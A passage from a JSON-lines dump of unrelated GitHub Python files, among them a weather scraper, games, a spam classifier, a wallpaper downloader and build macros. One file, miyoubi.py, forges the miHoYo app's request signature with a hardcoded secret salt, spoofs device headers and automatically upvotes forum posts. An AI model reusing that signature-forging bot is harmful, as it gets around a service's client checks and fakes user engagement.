weatherForecastResult = requests.get(self.api_url, params={\"appid\":self.appid, \"units\": \"metric\"})\n data = json.loads(weatherForecastResult.text)\n days = data.get(\"list\")\n\n try:\n number = 1 # for incrementing day_number\n for day in days:\n # save in db\n unix_timestamp = day[\"dt\"]\n timestamp = make_aware(datetime.fromtimestamp(unix_timestamp))\n today = make_aware(datetime.fromtimestamp(time.time()))\n print(timestamp)\n print(today)\n w = Weather(\n day_number = number, \n datetime = timestamp,\n temp_day = day[\"temp\"][\"day\"],\n temp_min = day[\"temp\"][\"min\"],\n temp_max = day[\"temp\"][\"max\"],\n temp_night = day[\"temp\"][\"night\"],\n temp_eve = day[\"temp\"][\"eve\"],\n temp_morn = day[\"temp\"][\"morn\"],\n windDirection = day[\"deg\"],\n windSpeed = day[\"speed\"],\n humidity = day[\"humidity\"],\n pressure = day[\"pressure\"],\n clouds = day[\"clouds\"],\n precipitation = day[\"pop\"], # probability of precipiation\n weatherid = day[\"weather\"][0][\"id\"],\n rain = 0,\n main = day[\"weather\"][0][\"main\"], # used in stop-to-stop model\n description = day[\"weather\"][0][\"description\"], # used in route model\n scraped_on = today # PK\n )\n\n # a number of the objects don't have rain as a feature, so default to 0\n if \"rain\" in day:\n w.rain = day[\"rain\"]\n \n w.save()\n \n \n number += 1 \n print('Scraping job complete!')\n except Exception as e:\n print(\"An error occurred - entries not added to table\", e)\n\n\n","repo_name":"CityRoute/web-app-cityroute","sub_path":"backend/api/management/commands/scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":2610,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"11230605087","text":"import random\ndef start():\n print(\"What would you like the highest number to be?\")\n# You could also have them input the value on the same line as the text, however it looks nicer in the comand line like this\n maxNum = int(input())\n rnd = random.randint(0, maxNum)\n guessFunc(maxNum, rnd)\ndef hint(help):\n print(help)\ndef guessFunc(maxNum, rnd):\n print(\"Guess a number between 0 and \" + str(maxNum))\n guess = int(input())\n if guess > maxNum:\n print(\"Your guess is higher then your max value dumby! In case you need a reminder, you max number is \" + str(maxNum))\n guessFunc(maxNum, rnd)\n else:\n game(maxNum, rnd, guess)\ndef playAgain():\n print(\"Would you like to paly again? Type y or n (yes or no).\")\n answer = input()\n if answer == \"n\" or answer == \"N\":\n print(\"Have a good day!\")\n return;\n elif answer == \"y\" or answer == \"Y\":\n print(\"Let's play again!\")\n start()\ndef game(maxNum, rnd, guess):\n if guess == rnd:\n print(\"You are correct!\")\n playAgain()\n elif guess < rnd:\n hint(str(guess) + \" is lower then the nubmer you are looking for.\")\n guessFunc(maxNum, rnd)\n elif(guess> rnd):\n hint(str(guess) + \" is higher then the nubmer you are looking for.\")\n guessFunc(maxNum, rnd)\nstart()","repo_name":"InsertFunny/Lab05","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13680337074","text":"import requests\nimport json\nimport logging\nimport re\nimport random\nimport configparser\nimport hashlib\nimport uuid\nimport time\nimport string\n\nfrom wechat import senddata\n\n\nlogging.basicConfig(\n level=logging.INFO,\n format='%(asctime)s %(levelname)s %(message)s',\n datefmt='%Y-%m-%dT%H:%M:%S')\n\n\nclass ConfMeta(type):\n @property\n def index_url(self):\n return 'https://webstatic.mihoyo.com/bbs/event/signin-ys/index.html'\n\n @property\n def app_version(self):\n return '2.3.0'\n\n @property\n def ua(self):\n return 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) ' \\\n 'AppleWebKit/605.1.15 (KHTML, like Gecko) miHoYoBBS/%s' % (self.app_version)\n\n\nclass Conf(metaclass=ConfMeta):\n pass\n\n\nclass Miyoubi(object):\n def __init__(self, cookie: str = None):\n\n if not isinstance(cookie, str):\n raise TypeError(\"%s want a %s but got %s\" % (\n self.__class__, type(__name__), type(cookie)))\n\n self._cookie = cookie\n\n '''\n login_ticket = re.findall(r'login_ticket=(.*?);', cookie)[0]\n\n url1 = 'https://webapi.account.mihoyo.com/Api/cookie_accountinfo_by_loginticket?login_ticket=' + login_ticket\n res = requests.get(url1)\n res_text = res.text\n json1 = json.loads(res_text)\n print(json1)\n datalist_in = json1.get('data')\n if datalist_in['msg'] == \"成功\":\n # print('%s' % datalist_in['cookie_info']['cookie_token'])\n url2 = 'https://api-takumi.mihoyo.com/apihub/api/querySignInStatus?gids=1'\n datalist_out = {'cookie_token': 0, 'account_id': 0}\n datalist_out['cookie_token'] = datalist_in['cookie_info']['cookie_token']\n datalist_out['account_id'] = str(\n datalist_in['cookie_info']['account_id'])\n # print(datalist_out)\n res2 = requests.get(url2, cookies=datalist_out)\n # print(res2.cookies)\n url3 = 'https://api-takumi.mihoyo.com/auth/api/getMultiTokenByLoginTicket?login_ticket=' + \\\n login_ticket + '&token_types=3&uid=' + str(datalist_in['cookie_info']['account_id'])\n res3 = requests.get(url3)\n res3_text = res3.text\n json2 = json.loads(res3_text)\n # print(json2)\n # print('-' * 70)\n # 构造cookie\n self.cookies_users = {}\n self.cookies_users['stuid'] = res2.cookies['ltuid']\n self.cookies_users['stoken'] = json2['data']['list'][0]['token']\n self.cookies_users['login_ticket'] = login_ticket\n\n url4 = 'https://api-takumi.mihoyo.com/apihub/api/querySignInStatus?gids=1'\n res = requests.get(url4, cookies=self.cookies_users)\n res_text = json.loads(res.text)\n # print(res_text)\n if res_text['message'] != 'OK':\n raise RuntimeError(\"检测用户信息失败,登录信息已失效.\")\n else:\n # print('%s' % datalist_in['msg'])\n raise RuntimeError(\"登录信息已失效.\")\n '''\n\n # Provided by Steesha\n def md5(self, text):\n md5 = hashlib.md5()\n md5.update(text.encode())\n return (md5.hexdigest())\n\n def get_DS(self):\n # n = self.md5(Conf.app_version)\n n = \"h8w582wxwgqvahcdkpvdhbh2w9casgfl\"\n i = str(int(time.time()))\n r = ''.join(random.sample(string.ascii_lowercase + string.digits, 6))\n c = self.md5(\"salt=\" + n + \"&t=\" + i + \"&r=\" + r)\n return i + \",\" + r + \",\" + c\n\n def get_header(self, ref):\n actid = 'e202009291139501'\n if not ref:\n ref = \"%s?bbs_auth_required=%s&act_id=%s&utm_source=%s\" \\\n \"&utm_medium=%s&utm_campaign=%s\" % (\n Conf.index_url, 'true', actid, 'bbs', 'mys', 'icon')\n\n return {\n 'x-rpc-device_id': str(uuid.uuid3(\n uuid.NAMESPACE_URL, self._cookie)).replace('-', '').upper(),\n 'x-rpc-client_type': '5',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'User-Agent': Conf.ua,\n 'Referer': ref,\n 'x-rpc-app_version': Conf.app_version,\n 'DS': self.get_DS(),\n 'Cookie': self._cookie\n }\n\n def send_data(self):\n '''\n # 签到\n URL_signin = 'https://api-takumi.mihoyo.com/apihub/api/signIn'\n data = {\n 'gids': '2'\n }\n try:\n jstr = requests.Session().post(\n URL_signin,\n headers=self.get_header('https://bbs.mihoyo.com/ys/'),\n data=json.dumps(data, ensure_ascii=False)).text\n jdict = json.loads(jstr)\n code = jdict['retcode']\n except Exception as e:\n raise e\n\n result = makeResult('Failed', jstr)\n if code in [0, 1008]:\n result = makeResult('Success', jstr)\n logging.info(result)\n if code == 1008:\n senddata(touser, \"米游社重复签到或签到失败\", result)\n else:\n logging.info(result)\n senddata(touser, \"米游社签到失败\", result)\n\n seconds = random.randint(1, 5)\n logging.info('Sleep for %s seconds ...' % (seconds))\n # time.sleep(seconds)\n '''\n\n # 原神板块\n # 获取贴子列表\n URL = 'https://api-takumi.mihoyo.com/post/api/getForumPostList?forum_id=26&is_good=false&is_hot=false&page_size=20&sort_type=1'\n # forum_id 1为崩3 26为原神 30为崩2\n try:\n res = requests.Session().get(URL, headers=self.get_header('https://bbs.mihoyo.com/ys/'))\n res_text = json.loads(res.text)\n post_list = res_text['data']['list']\n post_id_list = []\n for post in post_list:\n post_id_list.append(post['post']['post_id'])\n except Exception as e:\n raise e\n\n seconds = random.randint(1, 3)\n time.sleep(seconds)\n\n # 贴子操作\n detail_url = \"https://api-takumi.mihoyo.com/post/api/getPostFull?post_id={}\"\n vote_url = \"https://api-takumi.mihoyo.com/apihub/sapi/upvotePost\"\n for i in range(1):\n post_id = post_id_list.pop()\n ref = 'https://bbs.mihoyo.com/ys/article/' + post_id\n # 查看\n try:\n res = requests.Session().get(detail_url.format(post_id), headers=self.get_header('https://bbs.mihoyo.com/ys/'))\n print(res.text)\n except Exception as e:\n raise e\n # 点赞\n data = {\n 'gids': '1',\n \"post_id\": str(post_id),\n \"is_cancel\": False\n }\n try:\n res = requests.Session().post(\n vote_url,\n headers=self.get_header(ref),\n data=json.dumps(data, ensure_ascii=False))\n print(res.text)\n except Exception as e:\n raise e\n\n seconds = random.randint(1, 3)\n time.sleep(seconds)\n\n\ndef makeResult(result: str, data=None):\n return json.dumps(\n {\n 'result': result,\n 'message': data\n },\n sort_keys=False, indent=2, ensure_ascii=False\n )\n\n\nif __name__ == \"__main__\":\n\n config = configparser.RawConfigParser()\n config.read('etc/config.ini')\n for section in config.sections():\n seconds = random.randint(10, 300)\n logging.info('Sleep for %s seconds ...' % (seconds))\n # time.sleep(seconds)\n\n touser = config[section]['Touser']\n cookie = config[section]['Cookie']\n\n myb_obj = Miyoubi(cookie)\n myb_obj.send_data()\n","repo_name":"ulimit65535/genshin-impact-helper1","sub_path":"miyoubi.py","file_name":"miyoubi.py","file_ext":"py","file_size_in_byte":7706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41166853816","text":"from numpy import *\nfrom scipy import signal\n\n\ndef modulate2(x, type, center):\n \"\"\" MODULATE2 2D modulation\n y = modulate2(x, type, [center])\n\n With TYPE = {'r', 'c' or 'b'} for modulate along the row, or column or\n both directions.\n CENTER especify the origin of modulation as\n floor(size(x)/2)+center(default is [0, 0])\"\"\"\n\n if center is None:\n center = array([[0, 0]])\n\n # Size and origin\n if x.ndim > 1:\n s = array([x.shape])\n else:\n x = array([x])\n s = array(x.shape)\n\n #o = floor(s / 2) + 1 + center\n o = floor(s / 2.0) + center\n n1 = array([s[0][0]]) - o[0]\n n2 = array([s[0][1]]) - o[1]\n\n if str.lower(type[0]) == 'r':\n m1 = (-1)**n1\n y = x * tile(m1.conj().T, s[1])\n\n elif str.lower(type[0]) == 'c':\n m2 = (-1)**n2\n y = x * tile(m2, s[0])\n\n elif str.lower(type[0]) == 'b':\n m1 = (-1)**n1\n m2 = (-1)**n2\n m = m1.conj().T * m2\n y = x * m\n\n return y\n","repo_name":"mazayux/pycontourlet","sub_path":"pycontourlet/modulate2.py","file_name":"modulate2.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"18"} +{"seq_id":"12843085333","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 7 14:51:00 2021\n\n@author: ml\n\"\"\"\n\nfrom code.feature_extraction.number_of_hashtags import NumberOfHashtags\nfrom code.util import COLUMN_HASHTAG_COUNT\nimport pandas as pd\nimport unittest\n\nclass NumberOfHastagsTest(unittest.TestCase):\n\n def setUp(self):\n self.INPUT_COLUMN = \"input\"\n self.hashtag_feature = NumberOfHashtags(self.INPUT_COLUMN)\n self.df = pd.DataFrame()\n self.df[self.INPUT_COLUMN] = ['[\"#WeAreAwesome\", \"#THISISQUITENICE\", \"#CamelCasingIsEvil\"]']\n \n def test_input_columns(self):\n \"\"\"\n tests if the input column is the correct one\n\n Returns\n -------\n None.\n\n \"\"\"\n self.assertEqual(self.hashtag_feature._input_columns, [self.INPUT_COLUMN])\n\n def test_feature_name(self):\n \"\"\"\n test if feature column is correctly named\n\n Returns\n -------\n None.\n\n \"\"\"\n self.assertEqual(self.hashtag_feature.get_feature_name(), COLUMN_HASHTAG_COUNT)\n\n\n\n def test_amount_of_hashtags_correct(self):\n \"\"\"\n test if the amount of hashtags is correctly counted\n\n Returns\n -------\n None.\n\n \"\"\"\n #act\n output=self.hashtag_feature.fit_transform(self.df)\n EXPECTED_COUNT = 3\n \n #assert\n self.assertEqual(output[0][0], EXPECTED_COUNT)\n\nif __name__ == '__main__':\n print(\"__[RUNNING: test.feature_extraction.test_number_of_hashtags]__\")\n unittest.main()","repo_name":"fwollatz/MLinPractice","sub_path":"test/feature_extraction/test_number_of_hashtags.py","file_name":"test_number_of_hashtags.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74610432999","text":"# Runtime: 5534 ms (Top 5.35%) | Memory: 55.9 MB (Top 70.78%)\nclass Solution:\n def countRestrictedPaths(self, n: int, edges: List[List[int]]) -> int:\n graph = collections.defaultdict(list) # build graph\n for a, b, w in edges:\n graph[a].append((w, b))\n graph[b].append((w, a))\n heap = graph[n]\n heapq.heapify(heap)\n d = {n: 0}\n while heap: # Dijkstra from node `n` to other nodes, record shortest distance to each node\n cur_w, cur = heapq.heappop(heap)\n if cur in d: continue\n d[cur] = cur_w\n for w, nei in graph[cur]:\n heapq.heappush(heap, (w+cur_w, nei))\n graph = collections.defaultdict(list)\n for a, b, w in edges: # pruning based on `restricted` condition, make undirected graph to directed-acyclic graph\n if d[a] > d[b]:\n graph[a].append(b)\n elif d[a] < d[b]:\n graph[b].append(a)\n ans, mod = 0, int(1e9+7)\n @cache\n def dfs(node): # use DFS to find total number of paths\n if node == n:\n return 1\n cur = 0\n for nei in graph[node]:\n cur = (cur + dfs(nei)) % mod\n return cur\n return dfs(1)","repo_name":"AnasImloul/Competitive-Programming","sub_path":"leetcode/scripts/algorithms/N/Number of Restricted Paths From First to Last Node/Number of Restricted Paths From First to Last Node.py","file_name":"Number of Restricted Paths From First to Last Node.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"15290040971","text":"# A function called dateConvert() that takes as an argument a\r\n# string representing a date in the form \"MM/DD/YYY\" and returns a\r\n# string representing the long form of the date, such as 'April 16, 2020'\r\n\r\ndef dateConvert(dateString): #Example of input is 04/16/2020\r\n\r\n monthWords = [\"January\",\"February\",\"March\",\"April\",\"May\",\"June\",\r\n \"July\",\"August\",\"September\",\"October\",\"November\",\r\n \"December\"]\r\n\r\n month,day,year = dateString.split(\"/\")\r\n #get a list, but then assign them to 3 variables\r\n\r\n monthWord = monthWords[int(month)-1]\r\n\r\n\r\n return monthWord + \" \" + day + \", \" + year\r\n\r\ndef main():\r\n\r\n myDate = input(\"Enter a date in the form MM/DD/YYYY: \")\r\n\r\n while myDate!= \"\":\r\n print(dateConvert(myDate))\r\n myDate = input(\"Enter a date in the form MM/DD/YYYY: \")\r\n\r\nmain()\r\n","repo_name":"akikob2/School-Programs","sub_path":"dateConvert.py","file_name":"dateConvert.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35966317262","text":"#-*-coding: utf-8-*-\nimport sys\nfrom mail import Mail\nfrom data import *\nimport re\nimport urllib\nimport your_pw\nimport unicodedata\nimport os\nimport shutil\n\nreload(sys)\nsys.setdefaultencoding(\"utf-8\")\n\n\nmonth_dic={'Jan':'01', 'Feb':'02', 'Mar':'03', 'Apr':'04', 'May':'05', 'Jun':'06', 'Jul':'07', 'Aug':'08', 'Sep':'09', 'Oct':'10', 'Nov':'11', 'Dec':'12'}\n\ndef sch():\n try:\n os.system('SchTasks /Create /SC DAILY /TN \"Email recieve1\" /TR \"'+str(sys.argv[0])+'\" /ST 11:50')\n os.system('SchTasks /Create /SC DAILY /TN \"Email recieve2\" /TR \"'+str(sys.argv[0])+'\" /ST 23:50')\n except:\n return\n\nshutil.rmtree('.\\\\result\\\\')\nsch()\n\nuser = your_pw.user\npasswd = your_pw.password\nregex = re.compile(\"\"\"(https?:\\/\\/).?(bitly.kr)\\/([a-zA-Z0-9]{4})|(https?:\\/\\/).?(bit.ly)\\/([a-zA-Z0-9]{7})|(https?:\\/\\/).?(goo.gl)\\/([a-zA-Z0-9]{6})|(https?:\\/\\/).?(me2.do)\\/([a-zA-Z0-9]{8})|(https?:\\/\\/).?(grep.kr)\\/([a-zA-Z0-9]{4})|(https?:\\/\\/).?(hoy.kr)\\/([a-zA-Z0-9]{4})\"\"\")\n\nhost=user.split('@')[1].split('.')[0]\n#print host\n\nmymail=Mail(host,'imap')\nmymail.connect()\nmymail.login(user,passwd)\nmymail.inbox()\nmails=mymail.search(sender='fl0ckfl0ck@hotmail.com')\n#mymail.logout()\n\n#print mails\nshorturl_list=[]\ndatat=[]\ndata=[]\n\nfor mm in mails:\n mm.fetch()\n #print mm.body\n #print mm.headers[\"Date\"]\n date=mm.headers[\"Date\"]\n date2=date.split(' ')\n day=('%02d'%int(date2[1]))\n curdir=date2[3]+'_'+month_dic[date2[2]]+'_'+day\n exurl=regex.search(mm.body)\n if exurl != None:\n if not (exurl in shorturl_list):\n os.system('mkdir '+'result\\\\'+curdir)\n short_url=exurl.group()\n shorturl_list.append(short_url)\n datat.append((date,short_url,curdir))\n #print GPSLatitude_list\n #print GPSLongitude_list\nfor date,short_url,curdir in datat:\n a=Data(date,short_url,curdir)\n data.append(a.make_data())\n\nfor td in data:\n pr=Print(td)\n pr.csv()\npr=Print(data)\npr.map()","repo_name":"dukup11ch1/gmail_parse","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4023325744","text":"\"\"\" GPU-specific build macros.\n\"\"\"\n\nload(\"@local_config_cuda//cuda:build_defs.bzl\", \"cuda_library\")\nload(\"@local_config_rocm//rocm:build_defs.bzl\", \"if_rocm_is_configured\", \"rocm_copts\")\nload(\"@local_tsl//tsl/platform/default:cuda_build_defs.bzl\", \"if_cuda_is_configured\")\n\ndef get_cub_sort_kernel_types(name = \"\"):\n \"\"\" List of supported types for CUB sort kernels.\n \"\"\"\n return [\n \"f16\",\n \"f32\",\n \"f64\",\n \"s8\",\n \"s16\",\n \"s32\",\n \"s64\",\n \"u8\",\n \"u16\",\n \"u32\",\n \"u64\",\n \"u16_b16\",\n \"u16_b32\",\n \"u16_b64\",\n \"u32_b16\",\n \"u32_b32\",\n \"u32_b64\",\n \"u64_b16\",\n \"u64_b32\",\n \"u64_b64\",\n ]\n\ndef build_cub_sort_kernels(name, types, local_defines = [], **kwargs):\n \"\"\" Create build rules for all CUB sort kernels.\n \"\"\"\n for suffix in types:\n gpu_kernel_library(\n name = name + \"_\" + suffix,\n local_defines = local_defines + [\"CUB_TYPE_\" + suffix.upper()],\n **kwargs\n )\n\ndef gpu_kernel_library(name, copts = [], local_defines = [], **kwargs):\n cuda_library(\n name = name,\n local_defines = local_defines + if_cuda_is_configured([\"GOOGLE_CUDA=1\"]) +\n if_rocm_is_configured([\"TENSORFLOW_USE_ROCM=1\"]),\n copts = copts + rocm_copts(),\n **kwargs\n )\n","repo_name":"tensorflow/tensorflow","sub_path":"third_party/xla/xla/service/gpu/build_defs.bzl","file_name":"build_defs.bzl","file_ext":"bzl","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":178918,"dataset":"github-code","pt":"18"} +{"seq_id":"7536350005","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 23 21:00:17 2018\n\n@author: bhavana\n\"\"\"\n\nfrom flask import Flask, render_template, request, redirect, url_for, jsonify\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.multiclass import *\nfrom sklearn.svm import *\n\nimport os\nimport pandas as pd\n\n\n\napp = Flask(__name__)\n\nglobal Classifier\nglobal Vectorizer\n\nmails = pd.read_csv('spam.csv', encoding = 'latin-1')\ncolumns = ['v1','v2']\nmessages = mails[columns]\n\n\ntrain_feature, test_feature, train_class, test_class = \\\n train_test_split(messages['v2'], messages['v1'], \\\n train_size=0.75, test_size=0.25)\n\n# train model\nClassifier = OneVsRestClassifier(SVC(kernel='linear', probability=True))\nVectorizer = TfidfVectorizer()\nvectorize_text = Vectorizer.fit_transform(train_feature)\nClassifier.fit(vectorize_text, train_class)\n\ntest_feature = test_feature.tolist()\ntest_class = test_class.tolist()\n\n\n@app.route('/', methods=['GET'])\ndef index():\n message = request.args.get('message', '')\n error = ''\n predict_proba = ''\n predict = ''\n\n global Classifier\n global Vectorizer\n try:\n if len(message) > 0:\n vectorize_message = Vectorizer.transform([message])\n predict = Classifier.predict(vectorize_message)[0]\n predict_proba = Classifier.predict_proba(vectorize_message).tolist()\n except BaseException as inst:\n error = str(type(inst).__name__) + ' ' + str(inst)\n if( predict == 'ham'): predict = 'Not Spam'\n \n return jsonify(message=message, predict_proba=predict_proba,\n predict=predict, error=error)\n\nif __name__ == '__main__':\n port = int(os.environ.get('PORT', 5000))\n app.run()\n\n\n # score\n#vectorize_text = Vectorizer.transform(test_feature)\n#score = Classifier.score(vectorize_text, test_class)\n#val = '. Has score: ' + str(score)\n#print(val)\n# \n#csv_arr = []\n#for i in range(0,len(test_feature)):\n# answer = test_class[i]\n# text = test_feature[i]\n# vectorize_text = Vectorizer.transform([text])\n# predict = Classifier.predict(vectorize_text)[0]\n# if predict == answer:\n# result = 'right'\n# else:\n# result = 'wrong'\n# csv_arr.append([len(csv_arr), text, answer, predict, result])\n\n\n","repo_name":"bhavana3/ClassifySpamEmails","sub_path":"classify_emails.py","file_name":"classify_emails.py","file_ext":"py","file_size_in_byte":2299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"33490871493","text":"# -*- coding: utf-8 -*-\n# @Time : 2018/7/5 10:33\n# @Author : Crazycosin\n# @Site : \n# @File : dailypic.py\n# @Software: PyCharm\nimport random\nimport urllib.request\nimport re\nimport ssl\nimport json\nfrom urllib import error\nimport os\nimport win32gui\nimport win32con\nfrom PIL import Image\n_name= ''\n\nssl._create_default_https_context = ssl._create_unverified_context#针对https安全访问\nua_list = [\n \"Mozilla/5.0 (Windows NT 6.1; ) Apple.... \",\n \"Mozilla/5.0 (X11; CrOS i686 2268.111.0)... \",\n \"Mozilla/5.0 (Macintosh; U; PPC Mac OS X.... \",\n \"Mozilla/5.0 (Macintosh; Intel Mac OS... \"\n]\nuser_agent = random.choice(ua_list)\nurl = u'https://cn.bing.com/HPImageArchive.aspx?format=js&idx=0&n=1'\n\n\n'''每天定时跟随系统启动抓取,抓取当日的壁纸,并存入文件夹中,然后设置为桌面'''\ndef scrapy_picture():\n request = urllib.request.Request(url)\n\n # 也可以通过调用Request.add_header() 添加/修改一个特定的header\n request.add_header(\"User-Agent\", user_agent)\n # 第一个字母大写,后面的全部小写\n request.get_header(\"User-agent\")\n\n response = urllib.request.urlopen(request)\n data = response.read().decode('utf-8')\n dic_data = json.loads(data)\n image_url = u'https://cn.bing.com'+dic_data.get('images')[0].get('url')\n name = dic_data.get('images')[0].get('copyright').replace(' ', '').replace('/','&')\n date = dic_data.get('images')[0].get('startdate')\n image_name = date+','+name\n print(image_name)\n return image_url,image_name\n\ndef download():\n image_url,img_name = scrapy_picture()\n _name = img_name\n try:\n urllib.request.urlretrieve(image_url, (r'D:\\dailypicture\\{}.jpg'.format(img_name)).encode())\n except error.URLError as e:\n if hasattr(e, 'code'):\n print(\"HTTPError\")\n print(e.code)\n elif hasattr(e, 'reason'):\n print(\"URLError\")\n print(e.reason)\n return img_name\n\nvarStorageBMPPath = u\"D:\\dailypicture\\BMP\"\n\ndef ConvertPicTypeToBMP(picPath):\n print(\"Convert the pic type to .BMP\")\n picName = _name\n print(picName)\n im = Image.open(picPath)\n print(\"Format:%s,Size:%s,Mode:%s\"%(im.format,im.size,im.mode))\n\n bmpPath = varStorageBMPPath + picName + \".BMP\"#Set the full path of .BMP file to storage it\n print(\"BMP path:%s\"%bmpPath)\n\n im.save(bmpPath)#Save the .BMP file to disk\n\n return bmpPath\n\ndef SetWindowsWallpaper(bmpFilePath):\n print(\"The pic path which will be set as wallpaper is:%s\"%bmpFilePath)\n win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER,bmpFilePath, win32con.SPIF_SENDWININICHANGE);#Only .BMP file can be set as the wallpaper\n return None\n\n\n\n\nif __name__ == \"__main__\":\n print(\"This is SetWindowsWallpaper.py\")\n img_name = download()\n try:\n\n img_path = u'D:\\dailypicture\\{}.jpg'.format(img_name)\n print(img_path)\n bmpFullPath = ConvertPicTypeToBMP(img_path)\n SetWindowsWallpaper(bmpFullPath)#Set windows wallpaper by the given pic path\n except IOError:\n print(\"Set windows wallpaper failed!\")","repo_name":"Crazycosin/dailybing","sub_path":"dailypic.py","file_name":"dailypic.py","file_ext":"py","file_size_in_byte":3104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"5479062289","text":"from django.shortcuts import render\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom .models import Course, CourseSerializer\nfrom rest_framework import status\n\n# Create your views here.\n@api_view(['GET', 'POST'])\ndef CourseList(request):\n\n if request.method=='GET':\n courses = Course.objects.all()\n serialize = CourseSerializer(courses, many = True)\n return Response(serialize.data)\n\n elif request.method=='POST':\n serialise = CourseSerializer(data = request.data)\n if serialise.is_valid():\n serialise.save()\n return Response(serialise.data)\n else:\n return Response(serialise.errors)\n\n@api_view(['GET', 'PUT', 'DELETE'])\ndef CourseDetail(request, pk):\n\n try:\n course = Course.objects.get(pk=pk)\n\n except DoesNotExist:\n return Response(status = 404)\n\n\n if request.method=='GET':\n serialise = CourseSerializer(course)\n return Response(serialise.data)\n\n elif request.method=='PUT':\n serialise = CourseSerializer(course, data = request.data)\n if serialise.is_valid():\n serialise.save()\n return Response(serialise.data)\n else:\n return Response(serialise.errors)\n\n\n elif request.method=='DELETE':\n course.delete()\n return Response(status = status.HTTP_204_NO_CONTENT)\n\n\n\n\n","repo_name":"prateekb123/FBV_rest_api","sub_path":"course_api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"18099121888","text":"from CardDeck import CardDeck\nfrom Player import Player\n\n\nclass PokerGame:\n def __init__(self, num_players=2):\n ranks = ['2', '3', '4', '5', '6', '7', '8', '9', '10', 'J', 'Q', 'K', 'A']\n self.card_deck = CardDeck(ranks)\n self.players = [Player(f\"Player {i+1}\") for i in range(num_players)]\n self.pot = 0 # Initialize the pot size to 0\n\n def display_hand(self, hand):\n for card in hand:\n print(f\"{card['rank']}{card['suit']}\", end=' ')\n print()\n\n def display_game_info(self):\n print(f\"\\nPot: {self.pot} BB\")\n for player in self.players:\n print(f\"{player.name}: {player.stack} BB\")\n\n def play(self):\n while True:\n play_again = input(\"Do you want to play a hand of poker? (yes/no): \").lower()\n\n if play_again != \"yes\":\n break\n\n self.card_deck.shuffle()\n\n for player in self.players:\n player.hand = self.card_deck.deal(2)\n\n for player in self.players:\n print(f\"\\n{player.name}'s Hole Cards:\", end=' ')\n self.display_hand(player.hand)\n\n # Pre-flop betting\n current_bet = 0\n\n while True:\n self.display_game_info()\n for player in self.players:\n player_bet = player.bet(current_bet)\n current_bet = player_bet\n self.pot += player_bet # Add the player's bet to the pot\n if all(player.stack == 0 for player in self.players) or current_bet == 0:\n break\n\n # Flop\n community_cards = self.card_deck.deal(3)\n print(\"\\nFlop:\", end=' ')\n self.display_hand(community_cards)\n\n # Flop betting\n current_bet = 0\n\n while True:\n self.display_game_info()\n for player in self.players:\n player_bet = player.bet(current_bet)\n current_bet = player_bet\n self.pot += player_bet\n if all(player.stack == 0 for player in self.players) or current_bet == 0:\n break\n\n # Turn\n community_cards += self.card_deck.deal(1)\n print(\"\\nTurn:\", end=' ')\n self.display_hand(community_cards)\n\n # Turn betting\n current_bet = 0\n\n while True:\n self.display_game_info()\n for player in self.players:\n player_bet = player.bet(current_bet)\n current_bet = player_bet\n self.pot += player_bet\n if all(player.stack == 0 for player in self.players) or current_bet == 0:\n break\n\n # River\n community_cards += self.card_deck.deal(1)\n print(\"\\nRiver:\", end=' ')\n self.display_hand(community_cards)\n\n # River betting\n current_bet = 0\n\n while True:\n self.display_game_info()\n for player in self.players:\n player_bet = player.bet(current_bet)\n current_bet = player_bet\n self.pot += player_bet\n if all(player.stack == 0 for player in self.players) or current_bet == 0:\n break\n\n # Evaluate hands and store the ranking\n for player in self.players:\n player.rank = self.card_deck.evaluate_hand(player.hand, community_cards, self.card_deck.ranks)\n print(f\"\\n{player.name}'s Hand Rank:\", player.rank[0])\n\n winning_players = [self.players[0]]\n\n for player in self.players[1:]:\n if player.rank[1] > winning_players[0].rank[1]:\n winning_players = [player]\n elif player.rank[1] == winning_players[0].rank[1]:\n winning_players.append(player)\n\n if len(winning_players) == 1:\n print(f\"\\n{winning_players[0].name} wins the hand with {winning_players[0].rank[0]}!\")\n winning_players[0].stack += self.pot # Add the pot to the winning player's stack\n else:\n print(\"\\nIt's a tie!\")\n\n # Show each player's remaining stack and reset the pot\n for player in self.players:\n print(f\"{player.name}'s stack: {player.stack} BB\")\n player.rank = None # Reset the player's rank\n self.pot = 0 # Reset the pot\n\n print(\"Thanks for playing!\")\n","repo_name":"raymondwen/workspace","sub_path":"PokerGame.py","file_name":"PokerGame.py","file_ext":"py","file_size_in_byte":4585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73488718439","text":"from src.other.exceptions import 